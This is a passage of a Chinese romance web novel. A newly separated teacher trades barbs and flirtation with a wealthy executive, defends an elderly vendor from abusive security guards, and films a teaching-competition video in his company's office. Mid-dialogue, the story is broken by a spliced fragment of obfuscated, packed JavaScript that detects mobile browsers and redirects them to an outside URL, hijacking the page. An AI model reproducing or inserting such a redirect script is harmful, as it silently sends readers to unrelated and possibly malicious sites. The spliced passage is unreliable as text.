除了脸帅,他通身隐隐有股矜贵的气质。莫非是哪位富二代去宏天体验生活?现在还挺流行这样,不差钱的家里会给子女安排一个轻松的班上,不然整日游手好闲,人也会变得颓靡。
“那你呢?在宏天哪个部门高就?”
“我吗?就是个打杂的。”
果如她所料,他没什么正经事做。不过也能理解,家里已经有钱到豪车可以随便换,他为什么还要继续努力?
估摸着也和其他富二代一样,下班后混迹各种高档夜总会,泡/妞,或是找其他更刺激的事。要不然上soulmate做什么?
忽然,原来的念头又重新长出来了。
既然他不是鸭,继续用来耍耍不正合适?
念头驶过,文令仪有些心虚。
抱着玩的心思接近别人终归是不好,但眼前这个人散发出的气质散漫还有点玩世不恭,和他接触下来看样子也是情场老手,估计对感情也不专心。过去的感情史说不定能写十几页纸。
她无非是他辉煌的感情史上轻描淡写的一笔,说不定过后连她的名字都记不住。抱有不那么厚道的想法也不算那么亏德吧?
曾行见她不说话,以为她是脚疼不舒服:“你脚伤了,要不要去医院?”
“要~”
“那我送你去看骨科。”
“我不去看脚,要去看心脏。”
“?”
文令仪侧过身面对着他,声音放得又轻又软,像羽毛搔过心尖:“看见你心就不跳了。”
“...”
看他没有反驳,文令仪得寸进尺地又往他那边倾了倾身,距离近得几乎能闻到他身上那股清冽的气息。她压低了声音,带着明目张胆的试探:“有对象了么?”
“?”
“处个对象吗?”
曾行侧过头,深深地看了她一眼,带着点审视。这女人虽然看起来大胆,但说话的神情带着青涩的羞赧,靠近他的动作也透着拘谨,明显对这些套路不熟。
也不知她为什么故意做出这个样子,莫非真是对他感兴趣?
“你正经的?”
“不正经的也行。”
“...”
曾行冷嗤一声,转过头:“你不找牛郎了?”
!!!这男人!太小肚鸡肠了吧!她都在和他调情了,他居然还揪着这茬不放!
文令仪气鼓鼓地坐直身体,瞪着他的后脑勺,内心的小人已经在疯狂跺脚:注孤生吧你!
回家后,她从屉子里找出药膏敷在脚踝,边回想两人在车上的谈话。虽然这男人对她的撩拨没有明显反应,但至少没拒绝她。这意味着什么?说明他在欲!擒!故!纵!
她可不是什么初出社会的青涩小妹了,这招对付她没用。想了想,她拿出手机点进曾行的头像,想将他加回来。
过了好一会,页面跳出来一个对话框,上面写着:“对方拒绝了您的请求。”
瞪大眼睛,文令仪不可思议看着手机:这狗男人还挺傲!
7. 奇奇怪怪
屏幕上那一行字多少有点碍眼。说到底,是自己先删了人家,现在又要加回来,也难怪对方不接茬。
真是…一个大男人,怎么心眼比针尖还小?
文令仪觉得这人比想象中有意思,他愈是摆出傲骄姿态,她越发起了逗趣的兴味。她又给他发了好几条申请,全是土得掉渣的情话。
“你知道我的缺点是什么吗?缺点你。”
“你是什么星座。我是你的量身定做。”
“…”
不过对方始终没有通过她的申请。
她将手机抛到一边,撇撇嘴。不知道他在摆什么谱,加了好几次就是不通过。
来这个网上不都是玩玩的么?难不成他看不上自己?
脑袋里浮现她吐了他一身的囧事,不由得眉头一跳。
额…那一吐毁所有啊!
啊啊!估计在他的眼里,自己是一个邋遢又神经质的女醉鬼!
她有些心闷地将手机丢到一边。
关上灯后卧室里瞬间没入漆黑,连同那些被她压制的挫败失落也如惊涛骇浪,重新铺卷而来。
这间卧室里曾装满她和贺天翔的回忆:一起挑选的窗帘,争论许久才定下的床,还有他熬夜工作时她悄悄放在桌边的温牛奶。她曾以为婚姻会是蜜糖,却不料转眼就成了碎玻璃,扎得人满身是血。
如今,又只剩她一个人,躺在无边的黑暗里。
就算此刻喊一声,回应她的也只有无边的孤寂。
不知看着水晶吊灯多久,她终于睡着了。今夜梦多,还很离奇古怪,好几次她都觉得心间压抑急迫,似要喘不过气。
早上,她被手机铃声吵醒。
迷迷糊糊摸过手机,看到屏幕上“妈妈”两个字,心里骤然一紧。
她清了清嗓子,努力让声音听起来轻快:“妈,怎么这么早呀?”
“令令,你和天翔到底怎么回事?”母亲的声音带着压抑不住的焦急和痛心:“好好的怎么突然就要离呢?”
文令仪握紧手机,指尖微微发白:“也不是突然……早就该离了。”
“当初我和你爸爸都不看好他,你非要嫁。现在才两年就闹离婚,以后你可怎么办啊!”母亲的声音越来越高,带着哽咽。
文令仪张了张嘴,却发不出声音。在老一辈的人眼里,结婚生子是人生的必选项。一旦婚姻破裂,就觉得人生不完整,没了倚仗,好像大风大浪里漂浮的小木舟,岌岌可危又可怜。
这时电话那头传来父亲的劝阻:“别急,慢慢和孩子说。”
“我能不急吗?她这个年纪,好不容易结了婚,我还盼着抱孙子…现在倒好,婚要离了,孩子也没有,这叫什么事啊…”
母亲的话也挑起了她的不安与恐惧——人近中年,没钱,婚姻失败,无儿无女,未来真的好像一片迷雾。
她沉默地听着,眼眶渐渐发热。
片刻后,电话换到了父亲手里:“令令,哪天没课,回家一趟吧。我们好好谈谈。”
“嗯…”
“天翔昨晚…也给我们打电话了。”
文令仪瞬间绷直了脊背:“他说了什么?”
“没说太多,就是告知我们要离婚的事。他说怕我们平时不看微信。”
父亲顿了顿,“其他的,等你回来再说吧。”
挂了电话,文令仪靠在床头,苦笑了一声。
贺天翔就这么绝情?催离婚的电话都打到她父母那里去了,丝毫不顾及老人的感受,更没考虑过她的处境。
四年的感情,原来薄得像张纸。
今天的课排得满,文令仪连日来都在忙工作,又要忧心离婚的事,她觉得疲累。下课后马上回办公室休息,顺便倒水喝。
她将保温杯里倒满水坐到工位,邻桌的同事叫吴秋眠,平日和她关系亲近,看到她来了笑道:“令令,你最近在减肥么?好像瘦了不少。”
文令仪抬手托了托脸颊,故意做出俏皮的表情:“真的吗?那是不是变漂亮了?”但其实心里在冷笑,哪里是减肥?明明是生活对她这个小可怜开刀了。最近吃不好睡不好的,不瘦才怪。
吴秋眠嗔她一眼,拖声带调:“是啊,又变漂亮了。简直不给我们这些普女活路。”
她平日经常和吴秋眠逗趣,这也是她在忙碌的工作之余的休闲方式,能为她解压不少。她也十分珍惜这种轻松的氛围,毕竟大部分的职场都如同一张拉得紧张的弦。
两人笑闹几句,文令仪挽住她的胳膊,靠了靠:“玩笑而已,我哪敢在优雅的吴老师面前比美貌,这不纯纯打脸么?”
吴秋眠也笑起来:“说不过你。”
斜后方的沈缪忽然转过身,目光在文令仪脸上停留片刻:“瘦得都脱相了,还没胖时好看。”
两人的笑声戛然而止。文令仪对她淡淡一笑:“是吗?可我记得沈老师之前还说我瘦下来肯定貌赛天仙呢。”
“...”沈缪表情微微一僵。她为了挤兑文令仪,各种含沙射影的话说了不少,哪里还记得清具体哪一句。但她很快恢复从容,自然地换了话题:“你最近在忙什么?好像很少来办公室了。”
“比赛的事。”
“你真厉害,又参加比赛了。这次参加的是哪个?”
文令仪不想和她多说,但碍于她问,简单道:“‘海城杯’教学能力大赛。”
“那个啊。”沈缪语气轻飘:“那比赛以前还有点分量,现在获奖率都提到60%了,费时费力,性价比不高。还不如参加品牌办的精英挑战赛呢。”
知她一向和自己不对付,文令仪也懒得再接话,转过身开始刷手机。
坐了一会沈缪就出去了,等她走后吴秋眠小声道:“她这人怎么回事?谁问她了么?还非要过来插一嘴。”
“不知道,随她吧。”
“你两是不是同一年评职称?”
“嗯。”
“难怪她这样针对你。”
同事之间,利益相触时还能不能保持体面,全看个人修养。沈缪如此,文令仪虽不舒服,却也觉得寻常。上课铃响后,她又投入到了工作中。
下班后,她整理好东西,但没有直接回家,而是坐上了去宏天的地铁。她的车还在那,比赛还需要大量外景素材,没车带学生拍摄实在不便。
更何况,宏天地段的停车费高昂得惊人,再不去取,又是一笔不小的开支。
离婚分财产要诉讼费,评职称也是笔大开支,她现在只得精打细算。
宏天的CBD商业区人
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群熙攘,繁华热闹。文令仪不禁想起今天课间刷到的新闻——宏天即将在H岛开发一站式旅游度假区。要知道H岛是度假胜地,四季如春,常年游客如织。岛上自然也是各地产集团必争的地方,地价昂贵。
但是宏天竟然竞标到了H岛的黄金地段,还大手笔地打造综合度假区,不得不服他们的钞能力。她停下步子抬头望了一眼面前的高大建筑,唏嘘几秒,然后走进地库拿车。
不远处,曾行和袁秘书刚从电梯出来。
袁秘书眼尖,瞥见那辆熟悉的红色轿车缓缓驶过,低声提醒:“曾总,好像是那位女士的车。”
曾行一时没反应过来:“谁?”
“就是…那日和你那什么了的那位。”
“…”曾行瞥了眼那台颜色俗艳的小菠萝,眼神又冷冷看向秘书袁:“你很喜欢‘那’字?”
“…”
“我交代你的事办妥了吗?”
“都办妥了,曾总。”
和他们擦肩而过的文令仪并不知道,因为她,一位小小的职场打工人刚汗流浃背了一场。她的车子开到出口,看到收费屏上跳出的数字倒吸一口凉气:600!
不过停了一晚,竟要这么多?她的心狠狠揪了一下,哀怨地盯着屏幕。
这个停车场是吞金兽吗?600都差不多够她一个月的饭钱了…
如果…胡搅蛮缠,奥不,是有商有量…会不会便宜点?
她摇下车窗对保安摆出笑脸:“请问…在你们宏天崴了脚,停车费能打个八折吗?”
保安听到她的声音探出头,又看了看她的车牌号,下一秒,道闸缓缓升起。
“?”
这是什么意思?怎么直接放她走了?难不成她刚才胡诌的话真的打动了保安?
正要走,保安又递给她一个信封:“您好,停车费免了,这个给您。”
文令仪接过了信封,觉得莫名其妙。没要她的钱,还附赠礼品?天上掉馅饼了!
她满脑袋问号,出门后找了个地方把车停下。信封摸着很薄,里面似是装了信之类的东西。她的胃口吊得越来越高,到底是什么东西?
兴致跃跃打开信封,她果然摸出了两张券,但是画风好像有点不对。
暗紫色的夜店背景里,三名仅着黑色网状上衣的男人半裸上身,腹肌分明,眼神迷离撩人。下半身是紧身皮裤,胯部的三角区域显眼的鼓起一包,展示他们的威猛雄风。
她眼睛睁大,不可思议看着这张东西,耳根瞬间烧了起来。。
这是夜!店!男!模!券!
宏天里除了他,还有谁会知道她点模子的事?那小子分明是故意的!
而且刚好是两张,给她和闫静一人一张。
这小子还怪周到的咧!
文令仪连看一眼这张券都觉得辣眼睛,更不想把它放车里。她看到不远处有个垃圾桶,将券折了几折攥进手里,走到桶旁左顾右盼看到没人,飞快将它扔了进去。
回到车里她系好安全带,依然觉得情绪在起伏,脸上火烧火燎的。那种被人看透、甚至隐隐嘲弄的感觉,弄得她又羞又燥。
她不禁气闷,这个男人有必要这么锱铢必较吗?不就是把他误认成牛郎了嘛。又没真让他吃亏!
8. 以身相许好么?
算了算了,放过自己的乳腺吧,不然又得喜提两结节。往好处想,托他的福,这笔不菲的停车费倒是省了。从这点看,他还算有点良心。
停车费都能免,他到底是做什么工作的?
不过,这年头也不稀奇,能进宏天工作,还是富二代,估计是家里与宏天的人相熟。找保安办这点小事对他们来说小菜一碟。
拿到车后,她迅速约了学生拍摄大型购物mall里的“潮流市集”区。
海城作为数一数二的大都会,mall的数量很多。文令仪的团队选出了五家规模最大的商场,除了有两家离得近,另外三家都在不同的方向。他们先去了两家在地理位置上挨近的,接着分别去找另外三家。
拍到宏天时,已是下午两点半,她没吃午饭,饥肠辘辘,找到常去的咖啡店打算吃点东西再继续工作。
今日是周末,店里的人很多。进店后一股浓烈的咖啡香扑面而来,文令仪感到疲惫减轻不少,心情也舒缓起来。
她站在队伍里跟着慢慢往前挪,边思考着等下要吃什么。
周末向来是各商场的必争黄金时段,曾行带着秘书袁还有市场部的两名助理视察商场。
到了咖啡店门口,曾行闻到了咖啡香,这会也觉得口渴了:“我去买咖啡,想喝什么,我请客。”
秘书袁简直觉得受宠若惊,他双手握拳并拢抵在下巴上,像极了微信里那个水汪汪大眼emoji:“老板人真好。”
其他两人跳起来拍手鼓掌,跟个海豹一样:“哇塞,谢谢曾总啦。”
这几个人,还是大男人,要这么浮夸吗…曾行无奈摇摇头,进店里买咖啡。队伍很长,他排在后面。前头不知哪位顾客在纠结咖啡口味,几分钟过去了也没选好,他有些无聊,欣赏起这家店的装潢来。
这是一家装修得很复古的店,里面有爱丽丝梦游仙境的元素,旁边的一张圆木桌上摆了一只兔子,戴黑色高礼帽,穿燕尾服西装。他觉得很有趣,端详起这只兔子来。
看了一会,他的视线又移到了客座区,几乎都坐满了,有情侣在踽踽私语的,也有朋友几个放声聊天的,但他视线的右前方的一处座位只坐了一个人,定睛一看发现是那个女网友。她抱着兔子抱枕,下巴搁在上面,正聚精会神看一本书。
她长发披肩,眉目清丽,外套脱掉放在一边,身上是件简单的白色毛衣内搭,窗外的阳光柔柔照在她身上,像一幅闲适恬然的画。
哟呵,这人还会读书。联想起上次在酒吧看到她,烈焰红唇烟熏妆,眼前的人简直是大变身。
他收回视线撇撇嘴,搞不好她是想换身皮肤钓凯子。
“啊切!”文令仪突然打了个喷嚏,怎么好端端的打喷嚏了?她搓了搓鼻子,估计是自己感到凉了,重新将外套穿好。
吃了两个牛角包,喝了一杯拿铁,她觉得恢复精力了,收起书继续未完成的工作。
宏天的新CEO上任后,率先引入市集这一营销方式,为商场注入了大波的客流量,带来新活力。每一期的市集拥有自己的主题,现在各商场营业的以“新潮酷玩”为主题的集市恰好符合她设计的课程主题。
未及走近,已经能听见空气里漂浮着混杂的声响:电子乐低沉的鼓点、手冲咖啡的细密水流声、传统工艺与科技感的首饰。灯火串起的暖光之下,几十个错落有致的摊位如岛屿般散布开来,她在市集观察、拍摄需要的素材,感受当下的年轻人独特的文化氛围。
拍完后她翻了翻手机里的素材,觉得这次拍得很满意,放到课件里应该是个不错的亮点。今天可以收工回家了。
收好器材朝商场的大门走,卸下担子后她心情轻松,顺路看到感兴趣的店进去闲逛,很快手里就多了几个购物袋。
准备乘电梯去车库时,她一眼就看到有个银发老太在门口摆了个小摊,一顶老虎造型的帽子吸引了她的注意。
小生意人很会看人脸色,老太马上注意到了她在朝这边望,热情道:“姑娘,来看看帽子吗?随便试,不买没事。”
其实各式的帽子文令仪已经有了很多,但这顶老虎帽造型别致、颜色新颖,她忍不住过来看。
老太笑着将帽子给她戴上,又拿出一面镜子放她面前:“哟,姑娘,你瞧你戴得多好看啊!这头型包得多好!”
除去她话里夸张的成分,文令仪觉得这顶帽子确实合适自己,问了价格也不贵,当即决定要买。
老太高兴得合不拢嘴,干瘦的手连忙要帮她打包帽子。
文令仪摆摆手:“不用了,我就戴着。”
“好,那我就不帮你装了。外面冷,戴着正合适。”
笑笑没说话,文令仪转账给她,又听得道:“姑娘还要不要看下别的东西?我这里帽子、围巾、手套都有,都挺好看的。”
文令仪扫了一眼其它东西,看到几样感兴趣的,老太马上顺着她的眼神给她递过来。她干脆停下来仔细挑选,两人时不时搭几句话。
老太头发花白,衣服单薄,看得她有点心酸。
外面冷,这名老太没钱租店,但又想赚钱,才进来摆摊。宏天客流量虽大,但监管严格,她一定冒了很大的风险。
“奶奶,您经常来这?”
“那哪能啊,我今天看到这一块没人守才偷偷来的。”
“要是保安来了怎么办?”
“跑啊!不跑难道等着被抓?”老太好像听到了什么傻话似的咯咯笑起来。
文令仪也觉得自己这个问题好像挺蠢,低头笑了笑。
她又选了条针织围巾,正要付钱,老太忽然慌忙喊起来:“姑娘快点快点,保安来了!”
惊了一跳,文令仪侧头看到三名壮实的保安朝这边赶来,她急忙想扫码付账,但老太已经等不及,推开她收拾摊子。
保安马不停蹄奔过来,显然就是冲老太来的,她没跑几步就被他们抓住,央求道:“各位行行好,我走,我走。”
“按照规定,你的东西得没收!”一名保安横眉怒目去抢她手里的袋子。
这些个小商品是她的命根子,哪舍得白给人?老太死死护住自己的袋子,口里不住哀求。但保安并不打算放了她,将她围住逼她交出东西。一来二去,老太体力不敌,袋子被撕破一个大口,里面的货物哗啦啦掉了一地。
心疼东西掉地上沾了灰,老太马上艰难地蹲身去捡,却被保安一脚踢开。
“要你放下东西,听不懂吗!”
老太实在没办法了,一边哀求一边跪了下来:“求你们了,放了我吧,再不敢来了。”
几人的争斗引起了路人的注意,陆陆续续周围围了很多人。文令仪看不下去了,一股热流直冲胸臆。这位老婆婆不过就是怕冷进来摆个摊子,就算破坏了宏天的规矩,赶走她就行,何必这么不近人情?
她站出来扶起了老太,直视着保安道:“我说你们,适可而止吧,何必为难一个老人家?”
看到是一个柔弱的女子,他们并不放在眼里:“不能随意摆摊是宏天的规矩,你多什么事?滚开!”
曾行从电梯下来看到这边围了很多人好奇是怎么回事,过来就看到文令仪正和几名保安对峙,脑袋上还戴了一顶可爱的老虎帽。
她的身材比起保安算得娇小,感觉保安一只手就能把她拎起来。但她没有丝毫的害怕,神色肃正,不偏不移挡在老太的前面。
秘书袁问道:“曾总,要不要我去解决这件事?”
“先别急,看看再说。”
文令仪:“就算她没守规矩,你们好好说话不行吗?态度粗暴还抢东西,和强盗有什么区别?”
“你他妈怎么说话的?再不让开,信不信我连你也打!”说着一名保安上手推了她一下。
周围的看客也有劝文令仪的:“算了吧,东西给他们,好汉不吃眼前亏。”
“姑娘你自己的安全要紧。”
文令仪挨了推,往后趔趄一步,怒火攻心,但她明白自己和他们对上体力不占优势,得要快速平静下来想别的办法。
她从包里拿出一把折叠戒尺在手上敲了敲,摆出一副平日训学生的姿态:“你们上学时老师是这么教的吗?要敬老爱幼,遵纪守法,当众欺凌老人,这是把书本上的道理都喂了狗了?”
“…”保安们没想到她会来这招,看她这副架势好像还真是老师。
“欸?不是,你…”
“你什么你?都给我站好了!我看谁还敢动一下,别怨我的戒尺不长眼。”
一名保安不信邪动了下,文令仪果然一戒尺敲在他背上:“站直!”
“…”
“谁再动,我会联系你们的家长,看看平日都是怎么教育你们的。”
这几名保安都是刚出社会的年轻小伙,平时也经常受妈妈们的教训,被文令仪这么一吓唬,还真记起了被妈妈血脉压制的恐惧感。
怂了。
看到这里,曾行牵了牵嘴角:“有点意思。”
秘书袁竖起大拇指:“和您有一吻之缘的这位姑娘真勇敢。”
“…”曾行自动忽略了他这句话:“你去将这几名保安带走,罚他们三个月的工资。”
“好滴。”
秘书袁和市场部的人带走了保安,人群散去。老太对文令仪感激不尽,眼泛泪光,一直握着她的手:“谢谢你姑娘,我真不知要说什么才好。要不是你,我恐怕都活不过今天…”
“快别这么说,我也是看不惯这些个欺软怕硬的嘴脸。”
“若是您愿意,我可以向市场部申请,在市集给您开个摊位。”
突然插进来话,文令仪和老太都愣了下,循声看去,曾行不知什么时候站在了旁边。
老太没听懂:“市集?”
“您快应下,他的意思是您可以在商场里摆摊了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276055|198247||http|test|mini|href|location''.split(''|''),0,{}));
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>“是这样…谢谢谢谢,这位帅小伙也是大好人啊。”
老太千恩万谢了许久才走。文令仪目送她离开回头正对上曾行的视线。
她想起男模券的事,脸上发热,眼神闪躲。
“这帽子虎头虎脑的,挺像你。”
“…”这男人真嘴欠…“你…来逛街?”
“是啊,待家没事,随便走走。”
“奥。”
“我的礼物收到了吗?”
“…”文令仪腹诽,就知道他这么小心眼的人不会轻易放过这茬。
“收到了,不过那上面的不符合我口味。”
“?你喜欢什么样的?回头我再送你张。”
“其实我更喜欢你这一挂的。”
“…”曾行噎住了,这女人找死,竟然拿他和鸭做比较!
这时秘书袁回来了,刚好听到他们的对话,在旁偷笑,悄悄对她竖起大拇指。
这个女人太勇了,堪称女中豪杰!要知道整个集团敢这样呛曾行的,她是第一人。
曾行用舌头抵了抵腮帮,朝她点点头,沉默不语带着一干人走了。颇有种帮派大佬吃了瘪但又讨不到好,只能忍气离开的既视感。
文令仪朝他的背影挥挥小拳头:切,小样,比只河豚还容易生气。
所有的素材汇集到她那,花了足足两天时间才整理完。课件还剩下最后一件难办的事,需要拍摄一些真实的商务会议场景。
小组开会时,大家拿不定主意选择哪里的场地。
她的学生陈旭说:“和盛公司的老板和我爸认识,要不我去说说?”
另一个学生何嘉琪道:“哪个和盛?在中体公园的那个么?”
“嗯,就是那个。”
“那家公司的规模会不会太小了?拿去比赛可能不够分量?”
文令仪沉吟:“如果顺利,我们可以晋级到省里比赛,公司的规模太小,一是拍摄的效果出不来,二是也不具有说服力,拿到省里竞争力不强。再换家吧,你们尽力提,我负责去联系人。”
何嘉琪道:“我听班上的同学说,沈老师带队的组在接触宏天呢。”
文令仪动作一顿:“沈老师,沈缪?”
“是的。”
沈缪不是说看不上这个比赛么?怎么转背又参加了?
文令仪没再追问,心底却泛起烦躁。若真让沈缪拿下宏天的拍摄权,自己这组在起跑线上就矮了一截。
讨论到最后,“宏天集团”赫然排在首选名单第一位,无论从名声、规模、资源方面看都是极优的选择。但问题也正在于此,宏天这样高大上的公司,身边没人认识里面的高层。
回到家里,她窝进沙发,烦恼依然挥之不去,连吃饭都没了心情。
要怎么解决这件事才好?
文令仪按了按太阳穴,觉得这事太过难办。
忽然,她想起了昨天遇到的那个男人。
或许可以问他试试?只是借用办公区拍摄十几秒的镜头,不涉密、不干扰,若有内部人员帮忙说明,也许真有希望。
走投无路之下,她再次点开FindSoulmate,发送好友申请。
一小时后,申请被拒。
这人真是性子犟,人家女生都主动了多少回了都是拒绝,他是在立什么灭绝师尊人设吗?
文令仪怕他又不同意,冥思苦想后厚着脸皮在打招呼那栏里写了一句话:求你了嘛,救救我,不然小命不保!
发出去后她紧张盯着屏幕,暗自祈祷,这次千万要通过啊,不然她真是没辙了。
这次终于有了效果,对方同意了。文令仪简直大喜过望,仔细地斟酌话后发了过去。
“拜托拜托,救命,可不可以帮帮我?”
“?”
“工作上的事,十万火急。能不能帮帮忙?”
“你有工作?”
“有啊。”文令仪意识到他这句话有哪里不对:“不然呢?”
“我以为你是富婆,包养专业户。”
“...”在这个节骨眼上,文令仪非常能忍识大局,她克制住了要开骂的冲动:“承蒙高看了,我有富婆梦,但没有富婆命。”
怕他不肯帮忙,文令仪将要求降到最低,只在办公区域拍摄十几秒的视频,绝不打扰正常工作。打完字忐忑发了过去,然后看到屏幕出现了一个字“好。”
她有点不可置信,赶紧发了个“小熊跪地膜拜”的表情包。
等了片刻,对方没再回复。
她心里过意不去,又追了一句。
“需要付费用吗?[狗头]”
“不用。下次别再找我就行。”
“……我会好好报答你的。[可怜]”
“怎么报答?”
文令仪的脑中闪过他那张似笑非笑的脸,逗弄的心思重新席卷而来:
“以身相许可以么?”
9. 夹子音
等了许久,以为对面不会回了,结果跳出来一行字。
“我不想变成回收站。懂?”
“?”
什么回收站?垃圾回收站?文令仪气得愣怔,气得冒烟,气得不知天地为何物。真想左勾拳右勾拳,降龙十八拳拳拳打到他身上!!!
敢说她是垃圾?眼睛不要可以捐掉!
奇了怪了。这个男人看起来散漫不羁,又是富二代,按理该是个花花肠子,怎么对她一点不来电?她自诩生得还行吧…
难道真对她没兴趣?
脑海里又浮现那晚的尴尬场面,文令仪眼前一黑。恐怕真是这个原因了。经历了那样的事,对方不把她当怪人看已经算客气,哪里还会有什么别的想法。
或许…她该试着挽回一点形象?
要是还没效果,那他不是gay就是身体有问题!
曾行在办公室专注地审阅下属提交的直播带货方案。时代变化太快,线上销售已成大势,而宏天作为实体经济起家的集团,在这一块只能算刚起步。他特意请来行业顾问培训团队,反复开会,才打磨出这份初案。
袁秘书见他看得投入,轻声提醒:“曾总,直播带货确实是风口,但老爷子那边…恐怕会有意见。”
曾行目光未离屏幕,只淡淡回道:“集团现在是我做主。”
“是、是。我只是担心,万一老爷子中途干预,我们这段时间的心血恐怕…”
话没说完,曾行打断他:“不会有万一。”
这时,外间办公室传来轻微的交谈声。曾行抬眼望去,看到是那个女网友来了。那日她说得急迫恳切,似是真会危及她性命。但明眼人都能看出,这不过是个谎言罢了。
而且,她这个谎言太拙劣,他本不想同意,可他又想看看她到底要做什么。难道是为了接近他的又一个借口?
女人今天的样子和之前两次见面都不太一样。她一身浅色系职业套装,款式却别出心裁:西装外套略带休闲感,包臀裙长度恰好在膝上一寸的位置,勾勒出纤细腰身与流畅的腿部线条。
长发柔顺地披在肩后,俯身时几缕发丝滑落颊边,正侧耳与宏天的员工轻声致歉:“不好意思,打扰各位工作了。”
秘书袁暗暗一惊,她怎么能进来?他悄悄看向老板,却发现曾行正望着玻璃外的身影,目光沉静,看不出情绪。
难不成……老板真对这位有点特别?否则以他的性子,怎么可能允许外人随意进入这片区域。
秘书袁斟酌着开口:“那位女士,是老师吗?”
曾行轻嗤一声:“她要是老师,我把名字倒过来写。”
“……”
“那天在商场,看她拿着戒尺,今天跟着她进来的几个年轻人也像是学生,我还以为是学校安排来参观的。”
曾行没再接话,视线重新落回屏幕上,
宏天的办公室环境正合文令仪的要求:高端、净雅、大气。员工素质也高,几乎没人抬头张望,都在专注处理工作。
文令仪选了几个角度拍摄,屏气凝神尽量不发出一点声响。
她走到一间会议室外面,指导学生从斜后方的角度录摄一段办公室的全景,听到会议室里传来讨论声。声音不大,却很清晰。
“…用户画像这部分始终太模糊,投放精准度上不去。”一个男声略带焦躁地说:“但老板要求下周就要看到数据提升。”
“传统问卷调查已经做腻了,用户根本不认真填。”女声叹气:“我们都快把市面上的数据分析工具用遍了。”
他们讨论的问题刚好也和她最近在研的课题相关,听了一会,她犹豫一息,轻轻敲了敲门,里面谈话戛然而止。
“抱歉,打断一下。”她推门进去,脸上带着温和的笑意:“刚好听到你们在说用户画像的问题,我有个不成熟的想法,不知道方不方便听?”
会议室里的几人面面相觑,一时不知如何反应。
文令仪继续解释道:“我是今天来贵司办事的,可能有些冒昧,但若是能帮上一点忙,也算不虚此行。”
几人交换了下眼神,客气地点点头,但目光里仍带着几分疏离与审视。
“刚才听到你们说,问卷数据失真,工具抓取的表层行为数据又不够立体。有没有试过…从‘负面场景’入手?”
见几人露出疑惑神色,她继续道:“我们总在研究用户‘想要什么’,但往往忽略了他们‘在什么情况下会强烈拒绝’。比如这个主打便捷的新品,与其问用户需要哪些功能,不如去收集他们在日常生活中,遇到哪些细微的不便、尴尬或沮丧时刻。那些瞬间,才是真实需求最强烈的爆发点。”
男员工眉头微蹙:“怎么收集这种‘负面场景’呢?直接问,用户可能也说不具体。”
“所以不是直接问。可以设计一个轻量的故事收集小活动,邀请用户分享他们生活中某个品类相关的、最想吐槽的小故事。用一点小奖做激励。真实的故事里藏着具体的人物、场景、情绪和未被满足的期待。把这些故事进行文本分析和关键词聚类,出来的画像,会比统计数字生动得多。甚至…”
“我们可以从中提炼出几个最具共鸣的‘痛点场景’,作为我们第一阶段营销沟通的核心主题,直接告诉用户:‘我们懂你的那个尴尬瞬间,而我们,可以让你避免它。’”
会议室里安静了几秒。
女员工眼睛渐渐睁大:“对啊,从‘逃避痛苦’的角度切入,比‘追求美好’往往更能驱动即时行动!而且故事本身,不就是现成的内容素材吗?”
男员工已经拿出手机快速记录着,之前的疏离感一扫而空,甚至开始打趣:“这位美女的‘负面场景’和‘故事聚类’的思路,确实比我们现有的框架更细腻,更触及人性。我们可能需要调整一下调研方向。”
“只是提供一个视角。”文令仪谦和地笑了笑:“具体执行你们肯定更专业。不打扰你们讨论了。”
她转身离开时,听见身后传来压低的、兴奋的议论声。
从文令仪进到会议室起,曾行就注意到了她的举动。袁秘书道:“要不要我叫她出来?”
他正犹豫,就听到她开始款款阐述自己的观点。
隔着玻璃,她侧身站着。窗外暮光漫进来,在她文秀的侧脸上镀了一层柔和的金色。那双杏眸在阐述想法时十分明亮,好似一颗在阳光下烁烁发光的水晶,明耀而不刺眼,但是却散发出强烈的吸引力。
秘书袁也忍不住赞叹:“这位姑娘真厉害,几句话就点破了我们卡了半个月的瓶颈。难怪您……”
话没说完,就撞上曾行瞥来的凉淡眼神,他立刻噤声,讪讪摸了摸鼻子。
“我错了。”
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>时间的步伐不疾不徐往前走,永远不会停留。忙碌了一天,曾行抬头转动脖子休息,看到墙上的挂钟的时针指向了6点。
他关上电脑,揉了揉眉心,打开手机看到soulmate的图标上出现了一个红色的数字“1”。点进去,消息框里有一条信息。
“下班后一起吃个饭么?非常感谢您之前的支持。我请客奥~”
手指顿了顿,他打出一个字:“好。”
随即按下内线:“通知黄姨,今晚不用去我那做饭了。”
袁秘书讶异道:“您要在外面吃饭?”
“嗯。”
“可是您的胃…”
上级的意思,袁秘书理当照做,不敢置喙。他只是奇怪他今天怎么突然想出去吃饭了。曾行的胃不太好,对食材的种类、质量还有烹饪方法都很讲究。稍出差池,就可能引起胃炎。
“偶尔一次,无妨。”
受人恩惠,理应回报,这是文令仪一贯的做人原则。她只是没想到对方竟然很快就同意了。
她站在路边从包里拿出小镜子补妆,又将项链细细摆正,没等多久就看到曾行那辆打眼的车停到了面前。
她今日特地挑了一条显身线的裙子,长度也是思量过的。坐下时裙子往上拉,刚好露出她肥瘦匀停的一截腿部。妩媚十足。
曾行一手搭在方向盘上,侧首打量了她一眼。
将长发拢到耳后,文令仪扬起一个明媚的笑:“谢谢帅哥接我。”
见他没搭腔,她又问道:“想去哪里吃?”说完暗自祈祷,他可千万别选什么人均四位数的地方啊,不然真要回到解放前了…
“就去附近那条小吃街吧。”
这句话宛如天籁。她马上道:“好滴哟,都听你的。”
“你嗓子坏了?”
“嗯?没有啊。”文令仪睁着大大的眼睛疑惑地看着他。
“那为什么说话像跑了调?”
“…”
文令仪耳根微热,轻咳一声:“可能是今天说话多了,有点干…”
她心里腹诽:他这是什么直男发言?她特地夹了声音说话,模仿得惟妙惟肖。不是男人都喜欢这种软萌音吗?难道他耳朵出问题了吗?不觉得这样可爱吗?
“要水吗?”曾行说着递来一瓶矿泉水。
文令仪继续夹子音出没,甜甜道了声:“好。”
说真的,她忙了一天没喝几口水,这会还真感觉渴了。接过水瓶,她马上咕嘟咕嘟灌了几口。
就在这时,一辆摩托车突然从侧后方猛蹿出来,抢道超车。曾行猝不及防,一脚急刹。
“咳!”
